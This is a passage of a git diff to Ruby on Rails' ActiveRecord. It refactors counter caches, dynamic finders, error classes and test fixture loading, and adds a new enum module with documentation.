       @aggregation_cache        = {}
       @association_cache        = {}
-      @attributes_cache         = {}
-      @previously_changed       = {}
-      @changed_attributes       = {}
       @readonly                 = false
       @destroyed                = false
       @marked_for_destruction   = false
@@ -426,16 +550,19 @@ module ActiveRecord
       @txn                      = nil
       @_start_transaction_state = {}
       @transaction_state        = nil
-      @reflects_state           = [false]
     end
 
-    def init_changed_attributes
-      # Intentionally avoid using #column_defaults since overridden defaults (as is done in
-      # optimistic locking) won't get written unless they get marked as changed
-      self.class.columns.each do |c|
-        attr, orig_value = c.name, c.default
-        @changed_attributes[attr] = orig_value if _field_changed?(attr, orig_value, @attributes[attr])
+    def initialize_internals_callback
+    end
+
+    def thaw
+      if frozen?
+        @attributes = @attributes.dup
       end
     end
+
+    def custom_inspect_method_defined?
+      self.class.instance_method(:inspect).owner != ActiveRecord::Base.instance_method(:inspect).owner
+    end
   end
 end
diff --git a/activerecord/lib/active_record/counter_cache.rb b/activerecord/lib/active_record/counter_cache.rb
index e1faadf1ab..82596b63df 100644
--- a/activerecord/lib/active_record/counter_cache.rb
+++ b/activerecord/lib/active_record/counter_cache.rb
@@ -11,7 +11,7 @@ module ActiveRecord
       # ==== Parameters
       #
       # * +id+ - The id of the object you wish to reset a counter on.
-      # * +counters+ - One or more association counters to reset
+      # * +counters+ - One or more association counters to reset. Association name or counter name can be given.
       #
       # ==== Examples
       #
@@ -19,9 +19,14 @@ module ActiveRecord
       #   Post.reset_counters(1, :comments)
       def reset_counters(id, *counters)
         object = find(id)
-        counters.each do |association|
-          has_many_association = reflect_on_association(association.to_sym)
-          raise ArgumentError, "'#{self.name}' has no association called '#{association}'" unless has_many_association
+        counters.each do |counter_association|
+          has_many_association = _reflect_on_association(counter_association)
+          unless has_many_association
+            has_many = reflect_on_all_associations(:has_many)
+            has_many_association = has_many.find { |association| association.counter_cache_column && association.counter_cache_column.to_sym == counter_association.to_sym }
+            counter_association = has_many_association.plural_name if has_many_association
+          end
+          raise ArgumentError, "'#{self.name}' has no association called '#{counter_association}'" unless has_many_association
 
           if has_many_association.is_a? ActiveRecord::Reflection::ThroughReflection
             has_many_association = has_many_association.through_reflection
@@ -29,14 +34,12 @@ module ActiveRecord
 
           foreign_key  = has_many_association.foreign_key.to_s
           child_class  = has_many_association.klass
-          belongs_to   = child_class.reflect_on_all_associations(:belongs_to)
-          reflection   = belongs_to.find { |e| e.foreign_key.to_s == foreign_key && e.options[:counter_cache].present? }
+          reflection   = child_class._reflections.values.find { |e| e.belongs_to? && e.foreign_key.to_s == foreign_key && e.options[:counter_cache].present? }
           counter_name = reflection.counter_cache_column
 
-          stmt = unscoped.where(arel_table[primary_key].eq(object.id)).arel.compile_update({
-            arel_table[counter_name] => object.send(association).count
-          })
-          connection.update stmt
+          unscoped.where(primary_key => object.id).update_all(
+            counter_name => object.send(counter_association).count(:all)
+          )
         end
         return true
       end
@@ -77,15 +80,15 @@ module ActiveRecord
           "#{quoted_column} = COALESCE(#{quoted_column}, 0) #{operator} #{value.abs}"
         end
 
-        where(primary_key => id).update_all updates.join(', ')
+        unscoped.where(primary_key => id).update_all updates.join(', ')
       end
 
       # Increment a numeric field by one, via a direct SQL update.
       #
-      # This method is used primarily for maintaining counter_cache columns used to
-      # store aggregate values. For example, a DiscussionBoard may cache posts_count
-      # and comments_count to avoid running an SQL query to calculate the number of
-      # posts and comments there are each time it is displayed.
+      # This method is used primarily for maintaining counter_cache columns that are
+      # used to store aggregate values. For example, a DiscussionBoard may cache
+      # posts_count and comments_count to avoid running an SQL query to calculate the
+      # number of posts and comments there are, each time it is displayed.
       #
       # ==== Parameters
       #
@@ -118,5 +121,44 @@ module ActiveRecord
         update_counters(id, counter_name => -1)
       end
     end
+
+    private
+
+      def _create_record(*)
+        id = super
+
+        each_counter_cached_associations do |association|
+          if send(association.reflection.name)
+            association.increment_counters
+            @_after_create_counter_called = true
+          end
+        end
+
+        id
+      end
+
+      def destroy_row
+        affected_rows = super
+
+        if affected_rows > 0
+          each_counter_cached_associations do |association|
+            foreign_key = association.reflection.foreign_key.to_sym
+            unless destroyed_by_association && destroyed_by_association.foreign_key.to_sym == foreign_key
+              if send(association.reflection.name)
+                association.decrement_counters
+              end
+            end
+          end
+        end
+
+        affected_rows
+      end
+
+      def each_counter_cached_associations
+        _reflections.each do |name, reflection|
+          yield association(name.to_sym) if reflection.belongs_to? && reflection.counter_cache_column
+        end
+      end
+
   end
 end
diff --git a/activerecord/lib/active_record/dynamic_matchers.rb b/activerecord/lib/active_record/dynamic_matchers.rb
index e650ebcf64..b6dd6814db 100644
--- a/activerecord/lib/active_record/dynamic_matchers.rb
+++ b/activerecord/lib/active_record/dynamic_matchers.rb
@@ -1,13 +1,12 @@
 module ActiveRecord
   module DynamicMatchers #:nodoc:
-    # This code in this file seems to have a lot of indirection, but the indirection
-    # is there to provide extension points for the activerecord-deprecated_finders
-    # gem. When we stop supporting activerecord-deprecated_finders (from Rails 5),
-    # then we can remove the indirection.
-
     def respond_to?(name, include_private = false)
-      match = Method.match(self, name)
-      match && match.valid? || super
+      if self == Base
+        super
+      else
+        match = Method.match(self, name)
+        match && match.valid? || super
+      end
     end
 
     private
@@ -68,29 +67,22 @@ module ActiveRecord
         CODE
       end
 
-      def body
-        raise NotImplementedError
-      end
-    end
+      private
 
-    module Finder
-      # Extended in activerecord-deprecated_finders
       def body
-        result
-      end
-
-      # Extended in activerecord-deprecated_finders
-      def result
         "#{finder}(#{attributes_hash})"
       end
 
-      # Extended in activerecord-deprecated_finders
+      # The parameters in the signature may have reserved Ruby words, in order
+      # to prevent errors, we start each param name with `_`.
       def signature
-        attribute_names.join(', ')
+        attribute_names.map { |name| "_#{name}" }.join(', ')
       end
 
+      # Given that the parameters starts with `_`, the finder needs to use the
+      # same parameter name.
       def attributes_hash
-        "{" + attribute_names.map { |name| ":#{name} => #{name}" }.join(',') + "}"
+        "{" + attribute_names.map { |name| ":#{name} => _#{name}" }.join(',') + "}"
       end
 
       def finder
@@ -100,7 +92,6 @@ module ActiveRecord
 
     class FindBy < Method
       Method.matchers << self
-      include Finder
 
       def self.prefix
         "find_by"
@@ -113,7 +104,6 @@ module ActiveRecord
 
     class FindByBang < Method
       Method.matchers << self
-      include Finder
 
       def self.prefix
         "find_by"
diff --git a/activerecord/lib/active_record/enum.rb b/activerecord/lib/active_record/enum.rb
new file mode 100644
index 0000000000..3086f13f96
--- /dev/null
+++ b/activerecord/lib/active_record/enum.rb
@@ -0,0 +1,193 @@
+require 'active_support/core_ext/object/deep_dup'
+
+module ActiveRecord
+  # Declare an enum attribute where the values map to integers in the database,
+  # but can be queried by name. Example:
+  #
+  #   class Conversation < ActiveRecord::Base
+  #     enum status: [ :active, :archived ]
+  #   end
+  #
+  #   # conversation.update! status: 0
+  #   conversation.active!
+  #   conversation.active? # => true
+  #   conversation.status  # => "active"
+  #
+  #   # conversation.update! status: 1
+  #   conversation.archived!
+  #   conversation.archived? # => true
+  #   conversation.status    # => "archived"
+  #
+  #   # conversation.update! status: 1
+  #   conversation.status = "archived"
+  #
+  #   # conversation.update! status: nil
+  #   conversation.status = nil
+  #   conversation.status.nil? # => true
+  #   conversation.status      # => nil
+  #
+  # Scopes based on the allowed values of the enum field will be provided
+  # as well. With the above example:
+  #
+  #   Conversation.active
+  #   Conversation.archived
+  #
+  # You can set the default value from the database declaration, like:
+  #
+  #   create_table :conversations do |t|
+  #     t.column :status, :integer, default: 0
+  #   end
+  #
+  # Good practice is to let the first declared status be the default.
+  #
+  # Finally, it's also possible to explicitly map the relation between attribute and
+  # database integer with a +Hash+:
+  #
+  #   class Conversation < ActiveRecord::Base
+  #     enum status: { active: 0, archived: 1 }
+  #   end
+  #
+  # Note that when an +Array+ is used, the implicit mapping from the values to database
+  # integers is derived from the order the values appear in the array. In the example,
+  # <tt>:active</tt> is mapped to +0+ as it's the first element, and <tt>:archived</tt>
+  # is mapped to +1+. In general, the +i+-th element is mapped to <tt>i-1</tt> in the
+  # database.
+  #
+  # Therefore, once a value is added to the enum array, its position in the array must
+  # be maintained, and new values should only be added to the end of the array. To
+  # remove unused values, the explicit +Hash+ syntax should be used.
+  #
+  # In rare circumstances you might need to access the mapping directly.
+  # The mappings are exposed through a class method with the pluralized attribute
+  # name:
+  #
+  #   Conversation.statuses # => { "active" => 0, "archived" => 1 }
+  #
+  # Use that class method when you need to know the ordinal value of an enum:
+  #
+  #   Conversation.where("status <> ?", Conversation.statuses[:archived])
+  #
+  # Where conditions on an enum attribute must use the ordinal value of an enum.
+  module Enum
+    def self.extended(base) # :nodoc:
+      base.class_attribute(:defined_enums)
+      base.defined_enums = {}
+    end
+
+    def inherited(base) # :nodoc:
+      base.defined_enums = defined_enums.deep_dup
+      super
+    end
+
+    class EnumType < Type::Value
+      def initialize(name, mapping)
+        @name = name
+        @mapping = mapping
+      end
+
+      def type_cast_from_user(value)
+        return if value.blank?
+
+        if mapping.has_key?(value)
+          value.to_s
+        elsif mapping.has_value?(value)
+          mapping.key(value)
+        else
+          raise ArgumentError, "'#{value}' is not a valid #{name}"
+        end
+      end
+
+      def type_cast_from_database(value)
+        mapping.key(value.to_i)
+      end
+
+      def type_cast_for_database(value)
+        mapping.fetch(value, value)
+      end
+
+      protected
+
+      attr_reader :name, :mapping
+    end
+
+    def enum(definitions)
+      klass = self
+      definitions.each do |name, values|
+        # statuses = { }
+        enum_values = ActiveSupport::HashWithIndifferentAccess.new
+        name        = name.to_sym
+
+        # def self.statuses statuses end
+        detect_enum_conflict!(name, name.to_s.pluralize, true)
+        klass.singleton_class.send(:define_method, name.to_s.pluralize) { enum_values }
+
+        detect_enum_conflict!(name, name)
+        detect_enum_conflict!(name, "#{name}=")
+
+        attribute name, EnumType.new(name, enum_values)
+
+        _enum_methods_module.module_eval do
+          pairs = values.respond_to?(:each_pair) ? values.each_pair : values.each_with_index
+          pairs.each do |value, i|
+            enum_values[value] = i
+
+            # def active?() status == 0 end
+            klass.send(:detect_enum_conflict!, name, "#{value}?")
+            define_method("#{value}?") { self[name] == value.to_s }
+
+            # def active!() update! status: :active end
+            klass.send(:detect_enum_conflict!, name, "#{value}!")
+            define_method("#{value}!") { update! name => value }
+
+            # scope :active, -> { where status: 0 }
+            klass.send(:detect_enum_conflict!, name, value, true)
+            klass.scope value, -> { klass.where name => value }
+          end
+        end
+        defined_enums[name.to_s] = enum_values
+      end
+    end
+
+    private
+      def _enum_methods_module
+        @_enum_methods_module ||= begin
+          mod = Module.new
+          include mod
+          mod
+        end
+      end
+
+      ENUM_CONFLICT_MESSAGE = \
+        "You tried to define an enum named \"%{enum}\" on the model \"%{klass}\", but " \
+        "this will generate a %{type} method \"%{method}\", which is already defined " \
+        "by %{source}."
+
+      def detect_enum_conflict!(enum_name, method_name, klass_method = false)
+        if klass_method && dangerous_class_method?(method_name)
+          raise ArgumentError, ENUM_CONFLICT_MESSAGE % {
+            enum: enum_name,
+            klass: self.name,
+            type: 'class',
+            method: method_name,
+            source: 'Active Record'
+          }
+        elsif !klass_method && dangerous_attribute_method?(method_name)
+          raise ArgumentError, ENUM_CONFLICT_MESSAGE % {
+            enum: enum_name,
+            klass: self.name,
+            type: 'instance',
+            method: method_name,
+            source: 'Active Record'
+          }
+        elsif !klass_method && method_defined_within?(method_name, _enum_methods_module, Module)
+          raise ArgumentError, ENUM_CONFLICT_MESSAGE % {
+            enum: enum_name,
+            klass: self.name,
+            type: 'instance',
+            method: method_name,
+            source: 'another enum'
+          }
+        end
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/errors.rb b/activerecord/lib/active_record/errors.rb
index 7e38719811..d710d96a9a 100644
--- a/activerecord/lib/active_record/errors.rb
+++ b/activerecord/lib/active_record/errors.rb
@@ -30,17 +30,18 @@ module ActiveRecord
   class SerializationTypeMismatch < ActiveRecordError
   end
 
-  # Raised when adapter not specified on connection (or configuration file <tt>config/database.yml</tt>
-  # misses adapter field).
+  # Raised when adapter not specified on connection (or configuration file
+  # +config/database.yml+ misses adapter field).
   class AdapterNotSpecified < ActiveRecordError
   end
 
-  # Raised when Active Record cannot find database adapter specified in <tt>config/database.yml</tt> or programmatically.
+  # Raised when Active Record cannot find database adapter specified in
+  # +config/database.yml+ or programmatically.
   class AdapterNotFound < ActiveRecordError
   end
 
-  # Raised when connection to the database could not been established (for example when <tt>connection=</tt>
-  # is given a nil object).
+  # Raised when connection to the database could not been established (for
+  # example when +connection=+ is given a nil object).
   class ConnectionNotEstablished < ActiveRecordError
   end
 
@@ -51,10 +52,29 @@ module ActiveRecord
   # Raised by ActiveRecord::Base.save! and ActiveRecord::Base.create! methods when record cannot be
   # saved because record is invalid.
   class RecordNotSaved < ActiveRecordError
+    attr_reader :record
+
+    def initialize(message, record = nil)
+      @record = record
+      super(message)
+    end
   end
 
   # Raised by ActiveRecord::Base.destroy! when a call to destroy would return false.
+  #
+  #   begin
+  #     complex_operation_that_internally_calls_destroy!
+  #   rescue ActiveRecord::RecordNotDestroyed => invalid
+  #     puts invalid.record.errors
+  #   end
+  #
   class RecordNotDestroyed < ActiveRecordError
+    attr_reader :record
+
+    def initialize(record)
+      @record = record
+      super()
+    end
   end
 
   # Superclass for all database execution errors.
@@ -82,23 +102,26 @@ module ActiveRecord
   class InvalidForeignKey < WrappedDatabaseException
   end
 
-  # Raised when number of bind variables in statement given to <tt>:condition</tt> key (for example,
-  # when using +find+ method)
-  # does not match number of expected variables.
+  # Raised when number of bind variables in statement given to +:condition+ key
+  # (for example, when using +find+ method) does not match number of expected
+  # values supplied.
   #
-  # For example, in
+  # For example, when there are two placeholders with only one value supplied:
   #
   #   Location.where("lat = ? AND lng = ?", 53.7362)
-  #
-  # two placeholders are given but only one variable to fill them.
   class PreparedStatementInvalid < ActiveRecordError
   end
 
+  # Raised when a given database does not exist.
+  class NoDatabaseError < StatementInvalid
+  end
+
   # Raised on attempt to save stale record. Record is stale when it's being saved in another query after
   # instantiation, for example, when two users edit the same wiki page and one starts editing and saves
   # the page before the other.
   #
-  # Read more about optimistic locking in ActiveRecord::Locking module RDoc.
+  # Read more about optimistic locking in ActiveRecord::Locking module
+  # documentation.
   class StaleObjectError < ActiveRecordError
     attr_reader :record, :attempted_action
 
@@ -110,8 +133,9 @@ module ActiveRecord
 
   end
 
-  # Raised when association is being configured improperly or
-  # user tries to use offset and limit together with has_many or has_and_belongs_to_many associations.
+  # Raised when association is being configured improperly or user tries to use
+  # offset and limit together with +has_many+ or +has_and_belongs_to_many+
+  # associations.
   class ConfigurationError < ActiveRecordError
   end
 
@@ -149,28 +173,22 @@ module ActiveRecord
   class Rollback < ActiveRecordError
   end
 
-  # Raised when attribute has a name reserved by Active Record (when attribute has name of one of Active Record instance methods).
+  # Raised when attribute has a name reserved by Active Record (when attribute
+  # has name of one of Active Record instance methods).
   class DangerousAttributeError < ActiveRecordError
   end
 
-  # Raised when unknown attributes are supplied via mass assignment.
-  class UnknownAttributeError < NoMethodError
-
-    attr_reader :record, :attribute
-
-    def initialize(record, attribute)
-      @record = record
-      @attribute = attribute.to_s
-      super("unknown attribute: #{attribute}")
-    end
-
-  end
+  UnknownAttributeError = ActiveSupport::Deprecation::DeprecatedConstantProxy.new( # :nodoc:
+    'ActiveRecord::UnknownAttributeError', 
+    'ActiveModel::AttributeAssignment::UnknownAttributeError'
+  )
 
   # Raised when an error occurred while doing a mass assignment to an attribute through the
-  # <tt>attributes=</tt> method. The exception has an +attribute+ property that is the name of the
+  # +attributes=+ method. The exception has an +attribute+ property that is the name of the
   # offending attribute.
   class AttributeAssignmentError < ActiveRecordError
     attr_reader :exception, :attribute
+
     def initialize(message, exception, attribute)
       super(message)
       @exception = exception
@@ -183,12 +201,13 @@ module ActiveRecord
   # objects, each corresponding to the error while assigning to an attribute.
   class MultiparameterAssignmentErrors < ActiveRecordError
     attr_reader :errors
+
     def initialize(errors)
       @errors = errors
     end
   end
 
-  # Raised when a primary key is needed, but there is not one specified in the schema or model.
+  # Raised when a primary key is needed, but not specified in the schema or model.
   class UnknownPrimaryKey < ActiveRecordError
     attr_reader :model
 
@@ -213,6 +232,13 @@ module ActiveRecord
   class ImmutableRelation < ActiveRecordError
   end
 
+  # TransactionIsolationError will be raised under the following conditions:
+  #
+  # * The adapter does not support setting the isolation level
+  # * You are joining an existing open transaction
+  # * You are creating a nested (savepoint) transaction
+  #
+  # The mysql, mysql2 and postgresql adapters support setting the transaction isolation level.
   class TransactionIsolationError < ActiveRecordError
   end
 end
diff --git a/activerecord/lib/active_record/explain.rb b/activerecord/lib/active_record/explain.rb
index e65dab07ba..727a9befc1 100644
--- a/activerecord/lib/active_record/explain.rb
+++ b/activerecord/lib/active_record/explain.rb
@@ -27,7 +27,7 @@ module ActiveRecord
         end.join("\n")
       end.join("\n")
 
-      # Overriding inspect to be more human readable, specially in the console.
+      # Overriding inspect to be more human readable, especially in the console.
       def str.inspect
         self
       end
diff --git a/activerecord/lib/active_record/fixture_set/file.rb b/activerecord/lib/active_record/fixture_set/file.rb
index fbd7a4d891..8132310c91 100644
--- a/activerecord/lib/active_record/fixture_set/file.rb
+++ b/activerecord/lib/active_record/fixture_set/file.rb
@@ -38,7 +38,8 @@ module ActiveRecord
         end
 
         def render(content)
-          ERB.new(content).result
+          context = ActiveRecord::FixtureSet::RenderContext.create_subclass.new
+          ERB.new(content).result(context.get_binding)
         end
 
         # Validate our unmarshalled data.
diff --git a/activerecord/lib/active_record/fixtures.rb b/activerecord/lib/active_record/fixtures.rb
index 40263b2a70..739be524da 100644
--- a/activerecord/lib/active_record/fixtures.rb
+++ b/activerecord/lib/active_record/fixtures.rb
@@ -1,7 +1,9 @@
 require 'erb'
 require 'yaml'
 require 'zlib'
+require 'set'
 require 'active_support/dependencies'
+require 'active_support/core_ext/digest/uuid'
 require 'active_record/fixture_set/file'
 require 'active_record/errors'
 
@@ -14,9 +16,10 @@ module ActiveRecord
   # They are stored in YAML files, one file per model, which are placed in the directory
   # appointed by <tt>ActiveSupport::TestCase.fixture_path=(path)</tt> (this is automatically
   # configured for Rails, so you can just put your files in <tt><your-rails-app>/test/fixtures/</tt>).
-  # The fixture file ends with the <tt>.yml</tt> file extension (Rails example:
-  # <tt><your-rails-app>/test/fixtures/web_sites.yml</tt>). The format of a fixture file looks
-  # like this:
+  # The fixture file ends with the +.yml+ file extension, for example:
+  # <tt><your-rails-app>/test/fixtures/web_sites.yml</tt>).
+  #
+  # The format of a fixture file looks like this:
   #
   #   rubyonrails:
   #     id: 1
@@ -32,7 +35,7 @@ module ActiveRecord
   # is followed by an indented list of key/value pairs in the "key: value" format. Records are
   # separated by a blank line for your viewing pleasure.
   #
-  # Note that fixtures are unordered. If you want ordered fixtures, use the omap YAML type.
+  # Note: Fixtures are unordered. If you want ordered fixtures, use the omap YAML type.
   # See http://yaml.org/type/omap.html
   # for the specification. You will need ordered fixtures when you have foreign key constraints
   # on keys in the same table. This is commonly needed for tree structures. Example:
@@ -60,8 +63,8 @@ module ActiveRecord
   #     end
   #   end
   #
-  # By default, <tt>test_helper.rb</tt> will load all of your fixtures into your test database,
-  # so this test will succeed.
+  # By default, +test_helper.rb+ will load all of your fixtures into your test
+  # database, so this test will succeed.
   #
   # The testing environment will automatically load the all fixtures into the database before each
   # test. To ensure consistent data, the environment deletes the fixtures before running the load.
@@ -119,6 +122,23 @@ module ActiveRecord
   # perhaps you should reexamine whether your application is properly testable. Hence, dynamic values
   # in fixtures are to be considered a code smell.
   #
+  # Helper methods defined in a fixture will not be available in other fixtures, to prevent against
+  # unwanted inter-test dependencies. Methods used by multiple fixtures should be defined in a module
+  # that is included in <tt>ActiveRecord::FixtureSet.context_class</tt>.
+  #
+  # - define a helper method in `test_helper.rb`
+  #     module FixtureFileHelpers
+  #       def file_sha(path)
+  #         Digest::SHA2.hexdigest(File.read(Rails.root.join('test/fixtures', path)))
+  #       end
+  #     end
+  #     ActiveRecord::FixtureSet.context_class.include FixtureFileHelpers
+  #
+  # - use the helper method in a fixture
+  #     photo:
+  #       name: kitten.png
+  #       sha: <%= file_sha 'files/kitten.png' %>
+  #
   # = Transactional Fixtures
   #
   # Test cases can use begin+rollback to isolate their changes to the database instead of having to
@@ -162,6 +182,9 @@ module ActiveRecord
   # * Stable, autogenerated IDs
   # * Label references for associations (belongs_to, has_one, has_many)
   # * HABTM associations as inline lists
+  #
+  # There are some more advanced features available even if the id is specified:
+  #
   # * Autofilled timestamp columns
   # * Fixture label interpolation
   # * Support for YAML defaults
@@ -344,6 +367,7 @@ module ActiveRecord
   #   geeksomnia:
   #     name: Geeksomnia's Account
   #     subdomain: $LABEL
+  #     email: $LABEL@email.com
   #
   # Also, sometimes (like when porting older join table fixtures) you'll need
   # to be able to get a hold of the identifier for a given label. ERB
@@ -355,8 +379,9 @@ module ActiveRecord
   #
   # == Support for YAML defaults
   #
-  # You probably already know how to use YAML to set and reuse defaults in
-  # your <tt>database.yml</tt> file. You can use the same technique in your fixtures:
+  # You can set and reuse defaults in your fixtures YAML file.
+  # This is the same technique used in the +database.yml+ file to specify
+  # defaults:
   #
   #   DEFAULTS: &DEFAULTS
   #     created_on: <%= 3.weeks.ago.to_s(:db) %>
@@ -372,7 +397,8 @@ module ActiveRecord
   # Any fixture labeled "DEFAULTS" is safely ignored.
   class FixtureSet
     #--
-    # An instance of FixtureSet is normally stored in a single YAML file and possibly in a folder with the same name.
+    # An instance of FixtureSet is normally stored in a single YAML file and
+    # possibly in a folder with the same name.
     #++
 
     MAX_ID = 2 ** 30 - 1
@@ -436,9 +462,41 @@ module ActiveRecord
     cattr_accessor :all_loaded_fixtures
     self.all_loaded_fixtures = {}
 
+    class ClassCache
+      def initialize(class_names, config)
+        @class_names = class_names.stringify_keys
+        @config      = config
+
+        # Remove string values that aren't constants or subclasses of AR
+        @class_names.delete_if { |klass_name, klass| !insert_class(@class_names, klass_name, klass) }
+      end
+
+      def [](fs_name)
+        @class_names.fetch(fs_name) {
+          klass = default_fixture_model(fs_name, @config).safe_constantize
+          insert_class(@class_names, fs_name, klass)
+        }
+      end
+
+      private
+
+      def insert_class(class_names, name, klass)
+        # We only want to deal with AR objects.
+        if klass && klass < ActiveRecord::Base
+          class_names[name] = klass
+        else
+          class_names[name] = nil
+        end
+      end
+
+      def default_fixture_model(fs_name, config)
+        ActiveRecord::FixtureSet.default_fixture_model_name(fs_name, config)
+      end
+    end
+
     def self.create_fixtures(fixtures_directory, fixture_set_names, class_names = {}, config = ActiveRecord::Base)
       fixture_set_names = Array(fixture_set_names).map(&:to_s)
-      class_names = class_names.stringify_keys
+      class_names = ClassCache.new class_names, config
 
       # FIXME: Apparently JK uses this.
       connection = block_given? ? yield : ActiveRecord::Base.connection
@@ -452,22 +510,28 @@ module ActiveRecord
           fixtures_map = {}
 
           fixture_sets = files_to_read.map do |fs_name|
+            klass = class_names[fs_name]
+            conn = klass ? klass.connection : connection
             fixtures_map[fs_name] = new( # ActiveRecord::FixtureSet.new
-              connection,
+              conn,
               fs_name,
-              class_names[fs_name] || (default_fixture_model_name(fs_name, config).safe_constantize),
+              klass,
               ::File.join(fixtures_directory, fs_name))
           end
 
-          all_loaded_fixtures.update(fixtures_map)
+          update_all_loaded_fixtures fixtures_map
 
           connection.transaction(:requires_new => true) do
+            deleted_tables = Set.new
             fixture_sets.each do |fs|
               conn = fs.model_class.respond_to?(:connection) ? fs.model_class.connection : connection
               table_rows = fs.table_rows
 
-              table_rows.keys.each do |table|
-                conn.delete "DELETE FROM #{conn.quote_table_name(table)}", 'Fixture Delete'
+              table_rows.each_key do |table|
+                unless deleted_tables.include? table
+                  conn.delete "DELETE FROM #{conn.quote_table_name(table)}", 'Fixture Delete'
+                end
+                deleted_tables << table
               end
 
               table_rows.each do |fixture_set_name, rows|
@@ -492,22 +556,31 @@ module ActiveRecord
     end
 
     # Returns a consistent, platform-independent identifier for +label+.
-    # Identifiers are positive integers less than 2^32.
-    def self.identify(label)
-      Zlib.crc32(label.to_s) % MAX_ID
+    # Integer identifiers are values less than 2^30. UUIDs are RFC 4122 version 5 SHA-1 hashes.
+    def self.identify(label, column_type = :integer)
+      if column_type == :uuid
+        Digest::UUID.uuid_v5(Digest::UUID::OID_NAMESPACE, label.to_s)
+      else
+        Zlib.crc32(label.to_s) % MAX_ID
+      end
+    end
+
+    # Superclass for the evaluation contexts used by ERB fixtures.
+    def self.context_class
+      @context_class ||= Class.new
+    end
+
+    def self.update_all_loaded_fixtures(fixtures_map) # :nodoc:
+      all_loaded_fixtures.update(fixtures_map)
     end
 
     attr_reader :table_name, :name, :fixtures, :model_class, :config
 
     def initialize(connection, name, class_name, path, config = ActiveRecord::Base)
-      @fixtures = {} # Ordered hash
       @name     = name
       @path     = path
       @config   = config
-
-      if class_name.is_a?(String)
-        ActiveSupport::Deprecation.warn("The ability to pass in strings as a class name will be removed in Rails 4.2, consider using the class itself instead.")
-      end
+      @model_class = nil
 
       if class_name.is_a?(Class) # TODO: Should be an AR::Base type class, or any?
         @model_class = class_name
@@ -515,14 +588,13 @@ module ActiveRecord
         @model_class = class_name.safe_constantize if class_name
       end
 
-      @connection  = ( model_class.respond_to?(:connection) ?
-                       model_class.connection : connection )
+      @connection  = connection
 
       @table_name = ( model_class.respond_to?(:table_name) ?
                       model_class.table_name :
                       self.class.default_fixture_table_name(name, config) )
 
-      read_fixture_files
+      @fixtures = read_fixture_files path, @model_class
     end
 
     def [](x)
@@ -541,7 +613,7 @@ module ActiveRecord
       fixtures.size
     end
 
-    # Return a hash of rows to be inserted. The key is the table, the value is
+    # Returns a hash of rows to be inserted. The key is the table, the value is
     # a list of rows to insert to that table.
     def table_rows
       now = config.default_timezone == :utc ? Time.now.utc : Time.now
@@ -556,7 +628,7 @@ module ActiveRecord
       rows[table_name] = fixtures.map do |label, fixture|
         row = fixture.to_hash
 
-        if model_class && model_class < ActiveRecord::Base
+        if model_class
           # fill in timestamp columns if they aren't specified and the model is set to record_timestamps
           if model_class.record_timestamps
             timestamp_column_names.each do |c_name|
@@ -566,12 +638,12 @@ module ActiveRecord
 
           # interpolate the fixture label
           row.each do |key, value|
-            row[key] = label if "$LABEL" == value
+            row[key] = value.gsub("$LABEL", label.to_s) if value.is_a?(String)
           end
 
           # generate a primary key if necessary
           if has_primary_key_column? && !row.include?(primary_key_name)
-            row[primary_key_name] = ActiveRecord::FixtureSet.identify(label)
+            row[primary_key_name] = ActiveRecord::FixtureSet.identify(label, primary_key_type)
           end
 
           # If STI is used, find the correct subclass for association reflection
@@ -582,22 +654,25 @@ module ActiveRecord
               model_class
             end
 
-          reflection_class.reflect_on_all_associations.each do |association|
+          reflection_class._reflections.each_value do |association|
             case association.macro
             when :belongs_to
               # Do not replace association name with association foreign key if they are named the same
               fk_name = (association.options[:foreign_key] || "#{association.name}_id").to_s
 
               if association.name.to_s != fk_name && value = row.delete(association.name.to_s)
-                if association.options[:polymorphic] && value.sub!(/\s*\(([^\)]*)\)\s*$/, "")
+                if association.polymorphic? && value.sub!(/\s*\(([^\)]*)\)\s*$/, "")
                   # support polymorphic belongs_to as "label (Type)"
                   row[association.foreign_type] = $1
                 end
 
-                row[fk_name] = ActiveRecord::FixtureSet.identify(value)
+                fk_type = association.active_record.type_for_attribute(fk_name).type
+                row[fk_name] = ActiveRecord::FixtureSet.identify(value, fk_type)
+              end
+            when :has_many
+              if association.options[:through]
+                add_join_records(rows, row, HasManyThroughProxy.new(association))
               end
-            when :has_and_belongs_to_many
-              handle_habtm(rows, row, association)
             end
           end
         end
@@ -607,18 +682,55 @@ module ActiveRecord
       rows
     end
 
+    class ReflectionProxy # :nodoc:
+      def initialize(association)
+        @association = association
+      end
+
+      def join_table
+        @association.join_table
+      end
+
+      def name
+        @association.name
+      end
+
+      def primary_key_type
+        @association.klass.type_for_attribute(@association.klass.primary_key).type
+      end
+    end
+
+    class HasManyThroughProxy < ReflectionProxy # :nodoc:
+      def rhs_key
+        @association.foreign_key
+      end
+
+      def lhs_key
+        @association.through_reflection.foreign_key
+      end
+    end
+
     private
       def primary_key_name
         @primary_key_name ||= model_class && model_class.primary_key
       end
 
-      def handle_habtm(rows, row, association)
+      def primary_key_type
+        @primary_key_type ||= model_class && model_class.type_for_attribute(model_class.primary_key).type
+      end
+
+      def add_join_records(rows, row, association)
+        # This is the case when the join table has no fixtures file
         if (targets = row.delete(association.name.to_s))
+          table_name  = association.join_table
+          column_type = association.primary_key_type
+          lhs_key     = association.lhs_key
+          rhs_key     = association.rhs_key
+
           targets = targets.is_a?(Array) ? targets : targets.split(/\s*,\s*/)
-          table_name = association.join_table
           rows[table_name].concat targets.map { |target|
-            { association.foreign_key             => row[primary_key_name],
-              association.association_foreign_key => ActiveRecord::FixtureSet.identify(target) }
+            { lhs_key => row[primary_key_name],
+              rhs_key => ActiveRecord::FixtureSet.identify(target, column_type) }
           }
         end
       end
@@ -638,15 +750,15 @@ module ActiveRecord
       end
 
       def column_names
-        @column_names ||= @connection.columns(@table_name).collect { |c| c.name }
+        @column_names ||= @connection.columns(@table_name).collect(&:name)
       end
 
-      def read_fixture_files
-        yaml_files = Dir["#{@path}/{**,*}/*.yml"].select { |f|
+      def read_fixture_files(path, model_class)
+        yaml_files = Dir["#{path}/{**,*}/*.yml"].select { |f|
           ::File.file?(f)
-        } + [yaml_file_path]
+        } + [yaml_file_path(path)]
 
-        yaml_files.each do |file|
+        yaml_files.each_with_object({}) do |file, fixtures|
           FixtureSet::File.open(file) do |fh|
             fh.each do |fixture_name, row|
               fixtures[fixture_name] = ActiveRecord::Fixture.new(row, model_class)
@@ -655,18 +767,12 @@ module ActiveRecord
         end
       end
 
-      def yaml_file_path
-        "#{@path}.yml"
+      def yaml_file_path(path)
+        "#{path}.yml"
       end
 
   end
 
-  #--
